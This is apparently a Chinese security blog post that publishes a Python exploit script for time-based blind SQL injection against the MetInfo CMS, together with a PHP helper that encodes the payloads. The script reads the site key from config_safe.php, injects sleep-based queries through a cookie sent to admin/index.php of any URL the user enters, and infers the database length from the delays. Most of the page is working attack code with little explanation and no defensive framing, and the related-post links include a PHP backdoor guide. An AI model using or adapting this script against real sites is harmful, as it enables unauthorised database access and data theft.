metinfo通杀SQL盲注利用脚本

少羽.
少羽.
少羽.
429
文章
88
评论
2019年6月1日18:41:20 评论 5,795 3028字阅读10分5秒
广告也精彩

metinfo通杀SQL盲注利用脚本

#coding=utf-8
import requests
import re
import sys
import time
 
 
#获取config_safe.php中的 key
def getKey(url,headers,local_url):
    try:
        url_key = url + "/config/config_safe.php"
        rsp = requests.get(url_key,headers)
        p = re.compile(r'<\?php\/\*(.*)\*\/\?>')
        p1 = p.findall(rsp.text)
        key = p1[0]
        databaseLen(key,headers,local_url,url)
    except:
        sys.exit("The website is secure!!")
#获取数据库长度
def databaseLen(key,headers,local_url,url):
    for str in range(1,21):
        str = '%d'%str
        payload = "1%27%20or%20if((select%20length(database())="+ str +"),sleep(5),1)%23"
        queryKey(key,headers,payload,local_url,url)
#获取encode后的数据
def queryKey(key,headers,str,local_url,url):
    payload = "key="+key+"&str="+str
    rsp = requests.post(local_url,headers = headers,data = payload)
#   str = rsp.url
#   data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')
#   print(data)
    getTestUrl(url,rsp.text,headers)
#获取需要测试的URL
def getTestUrl(url,payload,headers):
    params = {'n':'user','m':'web','c':'register','a':'doemailvild'}
    cookies = {'Phpstorm-cd979afe':'49f537dc-5078-4407-a224-9fbd39b31aa6','PHPSESSID':'bba89344cb69a733ca0e20c46d7338b4','p':payload}
    test_url = url + "/admin/index.php"
    rsp = requests.get(test_url,params = params,cookie = cookies)
    str = rsp.url
    getData(str,headers)
#获取数据
def getData(url,headers):
    startTime = time.time();
    rsp = requests.get(url,headers)
    if time.time() - startTime > 4:
        print("ok")
    else:
        pass
if __name__ == '__main__':
    headers = {
        "Content-Type":"application/x-www-form-urlencoded",
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"en-US,en;q=0.5"
    }
    url = input("please input URL:")
    if "http://" or "https://" in url:
        local_url = input("请输入本地搭建的encode函数地址:")
        getKey(url,headers,local_url)
    else:
        print("please input the correct url!!")

本地搭建的encode函数源码

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
        $ckey_length = 4; 
        $key = md5($key ? $key : UC_KEY);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);
        $result = '';
        $box = range(0, 255);
        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
 
        for($a = $j = $i = 0; $i < $string_length; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
 
        if($operation == 'DECODE') {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
               return substr($result, 26);
            } else {
               return '';
            }
        }else{
            return $keyc.str_replace('=', '', base64_encode($result));
        }
    }
print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));
继续阅读
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
广告也精彩
少羽.
  • 本文由 发表于 2019年6月1日18:41:20
  • 除非特殊声明,本站文章均为原创,转载请务必保留本文链接
渗透经验分享之文件操作漏洞拓展 渗透笔记

渗透经验分享之文件操作漏洞拓展

上文分享了注入相关的东西,注入也可以对文件进行操作,本文是对文件操作漏洞的拓展。 文件操作漏洞 文件上传 文件读取 文件写入 文件删除 文件包含 一般java的站点存在文件系列的洞比较多(除了文件包含...
渗透经验分享之SQL注入思路拓展 渗透笔记

渗透经验分享之SQL注入思路拓展

写在文前 从实习到现在,因为从事打点工作的原因,实战经验积累了很多,就想写一些自己在实战中碰到的问题,以及自己的解决方法,因为保密的原因大多数不提供复现环境和截图,权当对渗透思路的一个拓展吧。可能会多...
分享一个超骚的php留后门的姿势(需高权限) 安全资讯

分享一个超骚的php留后门的姿势(需高权限)

前言 大家好 我是阿乾。这是首发在我自己博客里的,转给大家看看 今天给大家分享一个姿势,算是有点老的了。给伙伴们分享一下。 这是帮朋友运维的时候找到的,当时很纳闷,因为web目录下全部找了一通 就是没...
广告也精彩
匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: